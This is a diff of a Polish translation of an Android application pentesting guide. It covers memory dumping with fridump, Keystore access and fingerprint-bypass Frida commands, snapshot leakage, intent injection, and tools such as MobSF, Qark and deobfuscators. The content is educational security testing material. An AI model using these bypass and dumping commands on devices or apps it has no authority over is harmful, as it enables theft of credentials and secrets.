With PID python3 fridump3.py -u @@ -534,68 +536,68 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -To zrzuci pamięć do katalogu ./dump, a tam możesz użyć grep z czymś takim: +To zrzuci pamięć do folderu ./dump, a następnie możesz użyć grep, na przykład: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Wrażliwe dane w Keystore** -W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach nadal jest **możliwe uzyskanie do niego dostępu**. Ponieważ aplikacje często przechowują tutaj **wrażliwe dane w postaci jawnej**, pentests powinny to sprawdzać jako root user — osoba z fizycznym dostępem do urządzenia mogłaby je przejąć. +W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy odpowiednich uprawnieniach nadal jest **możliwe uzyskanie do nich dostępu**. Ponieważ aplikacje często zapisują tu **wrażliwe dane w postaci niezaszyfrowanej**, pentests powinny to sprawdzić jako użytkownik root albo ktoś z fizycznym dostępem do urządzenia mógłby ukraść te dane. -Nawet jeśli aplikacja przechowuje data w Keystore, dane powinny być zaszyfrowane. +Nawet jeśli aplikacja zapisuje dane w keystore, dane powinny być zaszyfrowane. -Aby uzyskać dostęp do danych wewnątrz Keystore, możesz użyć tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Aby uzyskać dostęp do danych w keystore, możesz użyć tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Używając poniższego skryptu Frida możliwe jest **bypass fingerprint authentication**, które aplikacje Android mogą stosować w celu **zabezpieczenia niektórych wrażliwych obszarów:** +Używając poniższego skryptu Frida może być możliwe **bypass fingerprint authentication**, które aplikacje Android mogą wykonywać, aby **chronić pewne wrażliwe obszary:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Obrazy w tle** -Gdy umieścisz aplikację w tle, Android zapisuje **zrzut aplikacji**, dzięki czemu po przywróceniu jej na pierwszy plan najpierw ładuje obraz, co sprawia, że aplikacja wydaje się uruchamiać szybciej. +Kiedy umieścisz aplikację w tle, Android zapisuje **snapshot aplikacji**, więc gdy zostanie przywrócona na pierwszy plan, zaczyna najpierw ładować obraz, aby wyglądało, że aplikacja uruchomiła się szybciej. -Jednak jeśli ten zrzut zawiera **poufne informacje**, osoba mająca dostęp do zrzutu może **ukraść te dane** (uwaga: dostęp wymaga root). +Jeśli jednak ten snapshot zawiera **wrażliwe informacje**, osoba mająca dostęp do snapshotu może **ukraść te informacje** (uwaga: potrzebujesz root, aby uzyskać dostęp). -Zrzuty są zwykle przechowywane pod ścieżką: **`/data/system_ce/0/snapshots`** +Snapshoty są zwykle przechowywane w: **`/data/system_ce/0/snapshots`** -Android udostępnia sposób na **zablokowanie wykonywania zrzutów ekranu przez ustawienie parametru layoutu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się na zrzutach ekranu oraz wyświetlaniu na niezaufanych ekranach. +Android udostępnia sposób na **zablokowanie przechwytywania screenshotów przez ustawienie parametru layout FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się na screenshotach lub wyświetlaniu na niezabezpieczonych wyświetlaczach. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas dynamicznej analizy: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy dynamicznej: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Deweloperzy często tworzą komponenty pośredniczące takie jak activities, services i broadcast receivers, które obsługują te Intents i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. +Developerzy często tworzą komponenty pośredniczące, takie jak activities, services i broadcast receivers, które obsługują te Intents i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. -Niebezpieczeństwo polega na umożliwieniu atakującym wywołania nieeksportowanych komponentów aplikacji lub uzyskania dostępu do wrażliwych content providers przez przekierowanie tych Intents. Dobrym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych Intent injections. +Niebezpieczeństwo polega na umożliwieniu atakującym wywołania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych content providerów poprzez przekierowanie tych Intents. Dobrym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` przy pomocy `Intent.parseUri(...)` i następnie je wykonuje, co potencjalnie prowadzi do złośliwych Intent injections. ### Essential Takeaways -- **Intent Injection** jest podobny do webowej podatności Open Redirect. -- Eksploity polegają na przekazywaniu obiektów `Intent` jako extras, które mogą być przekierowane do wykonywania niebezpiecznych operacji. -- Może ujawnić nieeksportowane komponenty i content providers atakującym. -- Konwersja URL do `Intent` przez `WebView` może ułatwić niezamierzone działania. +- **Intent Injection** is similar to web's Open Redirect issue. +- Eksploity polegają na przekazywaniu obiektów `Intent` jako extras, które mogą być przekierowane do wykonania niebezpiecznych operacji. +- Może ujawnić nieeksportowane komponenty i content providerów atakującym. +- Konwersja URL → `Intent` przez `WebView` może umożliwić niezamierzone działania. ### Android Client Side Injections and others -Prawdopodobnie znasz tego typu podatności z Weba. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android: +Prawdopodobnie znasz tego rodzaju podatności z web. W aplikacji Android musisz zachować szczególną ostrożność w przypadku tych podatności: -- **SQL Injection:** W przypadku dynamicznych zapytań lub Content-Providers upewnij się, że używasz zapytań parametryzowanych. -- **JavaScript Injection (XSS):** Upewnij się, że wsparcie dla JavaScript i Pluginów jest wyłączone dla wszystkich WebViews (domyślnie wyłączone). [Więcej informacji](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: W wielu przypadkach, gdy aplikacja Android kończy sesję, cookie nie jest unieważniane lub może być nawet zapisane na dysku. -- [**Secure Flag** w cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) +- **SQL Injection:** Przy pracy z dynamicznymi zapytaniami lub Content-Providers upewnij się, że używasz zapytań parametryzowanych. +- **JavaScript Injection (XSS):** Upewnij się, że obsługa JavaScript i pluginów jest wyłączona dla każdego WebView (domyślnie wyłączona). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews powinny mieć dostęp do systemu plików wyłączony (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: W wielu przypadkach po zakończeniu sesji aplikacja android nie unieważnia cookie lub zostaje ono zapisane na dysku +- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Analiza automatyczna +## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -603,51 +605,51 @@ Prawdopodobnie znasz tego typu podatności z Weba. Musisz być szczególnie ostr ![](<../../images/image (866).png>) -**Ocena podatności aplikacji** przy użyciu ładnego webowego frontendu. Możesz także przeprowadzić dynamiczną analizę (ale musisz przygotować środowisko). +**Ocena podatności aplikacji** za pomocą ładnego webowego interfejsu. Możesz też wykonać analizę dynamiczną (ale musisz przygotować środowisko). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Zauważ, że MobSF potrafi analizować **Android**(apk)**, IOS**(ipa) **and Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\ +Również, jeśli utworzysz plik **ZIP** zawierający kod źródłowy aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, zaznacz wszystko i utwórz ZIPfile), MobSF będzie w stanie również go przeanalizować. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF pozwala także na **diff/Compare** analiz oraz na integrację z **VirusTotal** (musisz ustawić swój klucz API w _MobSF/settings.py_ i włączyć to: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz też ustawić `VT_UPLOAD` na `False`, wtedy zamiast pliku zostanie przesłany **hash**. ### Assisted Dynamic analysis with MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** może być również bardzo pomocny przy **dynamic analysis** na **Android**, ale w tym przypadku musisz zainstalować MobSF oraz **genymotion** na swoim hoście (VM lub Docker nie zadziałają). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +Dynamiczny analyzer MobSF może: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. +- **Dump application data** (URL-e, logi, clipboard, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne wygenerowane pliki). Wszystko to jest robione automatycznie z wyjątkiem zrzutów ekranu — musisz nacisnąć, gdy chcesz wykonać zrzut, lub nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty wszystkich exported activities. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Od wersji **Android** > 5, automatycznie uruchomi Frida i ustawi globalne ustawienia proxy, aby przechwytywać ruch. Będzie przechwytywać tylko ruch z testowanej aplikacji. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Domyślnie użyje także kilku Frida Scripts do **bypass SSL pinning**, **root detection** i **debugger detection** oraz do **monitor interesting APIs**.\ +MobSF może również **invoke exported activities**, robić **screenshots** tych aktywności i **save** je do raportu. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Aby **start** testów dynamicznych naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida oraz "**Live API Monitor**", aby zobaczyć wszystkie wywołania zahookowanych metod, przekazane argumenty i wartości zwracane (pojawi się to po naciśnięciu "Start Instrumentation").\ +MobSF pozwala też na załadowanie własnych **Frida scripts** (aby wysłać wyniki swoich Friday scripts do MobSF użyj funkcji `send()`). Ma też **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu je **wybierz**, naciśnij "**Load**" i potem "**Start Instrumentation**" (logi tych skryptów zobaczysz w "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Co więcej, masz kilka dodatkowych funkcjonalności Frida: -- **Enumerate Loaded Classes**: It will print all the loaded classes -- **Capture Strings**: It will print all the capture strings while using the application (super noisy) -- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. -- **Search Class Pattern**: Search classes by pattern -- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. +- **Enumerate Loaded Classes**: Wydrukuje wszystkie załadowane klasy +- **Capture Strings**: Wydrukuje wszystkie przechwycone strings podczas używania aplikacji (bardzo dużo logów) +- **Capture String Comparisons**: Może być bardzo użyteczne. Pokaże 2 porównywane strings oraz czy wynik był True czy False. +- **Enumerate Class Methods**: Wpisz nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody tej klasy. +- **Search Class Pattern**: Wyszukuje klasy według wzorca +- **Trace Class Methods**: **Trace** całej klasy (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF trace'uje kilka interesujących Android Api methods. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Gdy wybierzesz moduł pomocniczy, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyjścia w "**Frida Live Logs**". **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +MobSF dostarcza także shell z kilkoma komendami **adb**, **MobSF commands** oraz typowymi komendami **shell** na dole strony dynamic analysis. Kilka interesujących poleceń: ```bash help shell ls @@ -658,32 +660,32 @@ receivers ``` **Narzędzia HTTP** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -To do so, _power on Burp -->_ _turn off Intercept --> in MobSF HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Gdy ruch HTTP zostanie przechwycony, możesz zobaczyć surowy widok przechwyconego ruchu na przycisku "**HTTP(S) Traffic**" lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z tej drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxies** takich jak Burp lub Owasp ZAP.\ +Aby to zrobić, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. +Po zakończeniu analizy dynamicznej z MobSF możesz kliknąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać podatności. > [!TIP] -> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: +> Po przeprowadzeniu analizy dynamicznej z MobSF ustawienia proxy mogą być źle skonfigurowane i nie będzie można ich naprawić z poziomu GUI. Możesz naprawić ustawienia proxy wykonując: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Wspomagana analiza dynamiczna za pomocą Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. +Narzędzie można pobrać z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +To narzędzie używa pewnych **Hooks**, aby informować cię **co się dzieje w aplikacji** podczas wykonywania **analizy dynamicznej**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -This is a **great tool to perform static analysis with a GUI** +To **świetne narzędzie do przeprowadzania analizy statycznej z GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. +To narzędzie zostało zaprojektowane do wyszukiwania różnych **security related Android application vulnerabilities**, zarówno w **source code**, jak i w **packaged APKs**. Narzędzie jest także **capable of creating a "Proof-of-Concept" deployable APK** oraz generowania **ADB commands**, aby wykorzystać niektóre z odnalezionych podatności (Exposed activities, intents, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,8 +696,8 @@ qark --java path/to/specific/java/file.java - Wyświetla wszystkie wyodrębnione pliki do szybkiego wglądu - Automatycznie dekompiluje pliki APK do formatu Java i Smali -- Analizuje AndroidManifest.xml pod kątem common vulnerabilities and behavior -- Statyczna analiza kodu źródłowego pod kątem common vulnerabilities and behavior +- Analizuje AndroidManifest.xml pod kątem powszechnych podatności i zachowań +- Statyczna analiza kodu źródłowego pod kątem powszechnych podatności i zachowań - Informacje o urządzeniu - i więcej ```bash @@ -703,11 +705,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER jest aplikacją uruchamianą z wiersza poleceń, którą można używać w Windows, MacOS X i Linux, analizującą pliki _.apk_ w poszukiwaniu podatności. Robi to poprzez dekompresję APK i zastosowanie zestawu reguł do wykrywania tych podatności. +SUPER to aplikacja wiersza poleceń, którą można używać w Windows, MacOS X i Linux, analizująca _.apk_ files w poszukiwaniu podatności. Robi to przez dekompresję APK i zastosowanie serii reguł w celu wykrycia tych podatności. -Wszystkie reguły są zgromadzone w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły do analizy tego, czego potrzebują. +Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebuje. -Pobierz najnowsze binaria ze strony [download page](https://superanalyzer.rocks/download.html) +Pobierz najnowsze binaria z [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -715,17 +717,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn to **wieloplatformowe** narzędzie, które wspomaga programistów, bugbounty hunters and ethical hackers w przeprowadzaniu [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych. +StaCoAn to narzędzie **crossplatform**, które wspomaga developerów, bugbounty hunters i ethical hackers w przeprowadzaniu [statycznej analizy kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych. -Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. +Koncepcja polega na tym, że przeciągasz i upuszczasz plik aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. -Pobierz[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Pobierz[ najnowsze wydanie](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework jest systemem analizy podatności Androida, który pomaga deweloperom lub hakerom znaleźć potencjalne luki bezpieczeństwa w aplikacjach Android.\ +AndroBugs Framework to system analizy podatności aplikacji Android, który pomaga deweloperom oraz hackersom znaleźć potencjalne luki bezpieczeństwa.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -733,11 +735,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnie złośliwych zachowaniach rozwijanych przez aplikację Android. +**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach wykazywanych przez aplikację Android. -Wykrywanie odbywa się poprzez **static analysis** kodu bajtowego Dalvik aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard). +Detekcja jest przeprowadzana za pomocą **static analysis** Dalvik bytecode aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard). -Narzędzie poszukuje **common behavior of "bad" applications** takich jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Narzędzie wyszukuje **common behavior of "bad" applications** takich jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -745,36 +747,36 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Jest to narzędzie łączące powszechnie używane mobile application reverse engineering and analysis tools, aby wspomóc testowanie aplikacji mobilnych przeciwko OWASP mobile security threats. Jego celem jest ułatwienie tej pracy i uczynienie jej bardziej przyjazną dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa. +**MARA** to framework do **M**obile **A**pplication **R**everse engineering and **A**nalysis. Jest to narzędzie, które łączy powszechnie używane narzędzia do reverse engineeringu i analizy aplikacji mobilnych, aby wspomóc testowanie aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania deweloperom aplikacji mobilnych oraz specjalistom ds. bezpieczeństwa. -It is able to: +Jest w stanie: -- Wyodrębnia kod Java i Smali za pomocą różnych narzędzi -- Analizuje APKi przy użyciu: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Wydobywa private information z APK za pomocą regexps. -- Analizuje Manifest. -- Analizuje znalezione domeny przy użyciu: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuskacja APK poprzez [apk-deguard.com](http://www.apk-deguard.com) +- Wyodrębniać kod Java i Smali przy użyciu różnych narzędzi +- Analizować APKi przy użyciu: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Wyodrębniać prywatne informacje z APK przy użyciu regexps. +- Analizować Manifest. +- Analizować znalezione domeny przy użyciu: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuskować APK za pomocą [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Przydatne do wykrywania malware: [https://koodous.com/](https://koodous.com) +Przydatne do wykrywania malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Zauważ, że w zależności od serwisu i konfiguracji użytej do obfuskacji kodu, sekrety mogą, ale nie muszą pozostać obfuskowane. +Zwróć uwagę, że w zależności od usługi i konfiguracji użytej do obfuskacji kodu, secrets mogą być obfuskowane lub nie. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem i jest rozpowszechniany na licencji GNU General Public License, wersja 2. +Z [Wikipedia](): **ProGuard** to open source narzędzie wiersza poleceń, które zmniejsza, optymalizuje i obfuskikuje kod Java. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem i jest dystrybuowany na licencji GNU General Public License, wersja 2. -ProGuard jest dystrybuowany jako część Android SDK i działa podczas budowania aplikacji w trybie release. +ProGuard jest dystrybuowany jako część Android SDK i uruchamia się podczas budowania aplikacji w trybie release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Znajdź przewodnik krok po kroku jak zdeobfuskować apk: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Znajdź przewodnik krok po kroku jak deobfuskować APK na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Z tego przewodnika) Ostatnio, kiedy sprawdzaliśmy, tryb działania Dexguard był: +(Z tego przewodnika) Ostatnim razem, gdy sprawdzano, tryb działania DexGuard był następujący: - load a resource as an InputStream; - feed the result to a class inheriting from FilterInputStream to decrypt it; @@ -784,37 +786,37 @@ Znajdź przewodnik krok po kroku jak zdeobfuskować apk: [https://blog.lexfo.fr/ ### [DeGuard](http://apk-deguard.com) -**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia do obfuskacji Android. To umożliwia liczne analizy bezpieczeństwa, w tym inspekcję kodu i identyfikację bibliotek.** +**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia obfuskacyjne dla Androida. Umożliwia to liczne analizy bezpieczeństwa, w tym inspekcję kodu i rozpoznawanie bibliotek.** Możesz przesłać obfuskowane APK na ich platformę. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -To narzędzie LLM do znajdowania potencjalnych luk bezpieczeństwa w aplikacjach Android i deobfuskacji kodu aplikacji Android. Używa publicznego API Google Gemini. +To narzędzie LLM do znajdowania potencjalnych podatności w android apps i deobfuskacji kodu aplikacji android. Używa publicznego API Google's Gemini. ### [Simplify](https://github.com/CalebFenton/simplify) -To **generic android deobfuscator.** Simplify **virtually executes an app** aby zrozumieć jej zachowanie, a następnie **tries to optimize the code** tak, by zachowywał się identycznie, ale był łatwiejszy do zrozumienia przez człowieka. Każdy typ optymalizacji jest prosty i uniwersalny, więc nie ma znaczenia, jaki konkretny rodzaj obfuskacji został użyty. +To ogólny deobfuskator dla Androida. Simplify virtually executes an app, aby zrozumieć jej zachowanie, a następnie próbuje zoptymalizować kod tak, aby zachowywał się identycznie, ale był łatwiejszy do zrozumienia przez człowieka. Każdy typ optymalizacji jest prosty i uniwersalny, więc nie ma znaczenia, jaki konkretny typ obfuskacji został użyty. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD daje informacje o tym **how an APK was made**. Identyfikuje wiele **compilers**, **packers**, **obfuscators** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Android. +APKiD dostarcza informacji o **tym, jak został stworzony APK**. Identyfikuje wiele **compilers**, **packers**, **obfuscators** i innych dziwnych rzeczy. To _PEiD_ dla Androida. ### Manual -[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Przeczytaj ten tutorial, aby poznać kilka sztuczek dotyczących **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b to wirtualna maszyna do bezpieczeństwa Android oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych entuzjastów bezpieczeństwa i badaczy do reverse engineering i analizy malware. +AndroL4b to wirtualna maszyna do bezpieczeństwa Androida oparta na ubuntu-mate; zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych badaczy i pasjonatów bezpieczeństwa, przeznaczonych do reverse engineeringu i analizy malware. -## Referencje +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To świetna lista zasobów -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Szybki kurs Android +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Szybki kurs Androida - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -823,7 +825,7 @@ AndroL4b to wirtualna maszyna do bezpieczeństwa Android oparta na ubuntu-mate, - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator 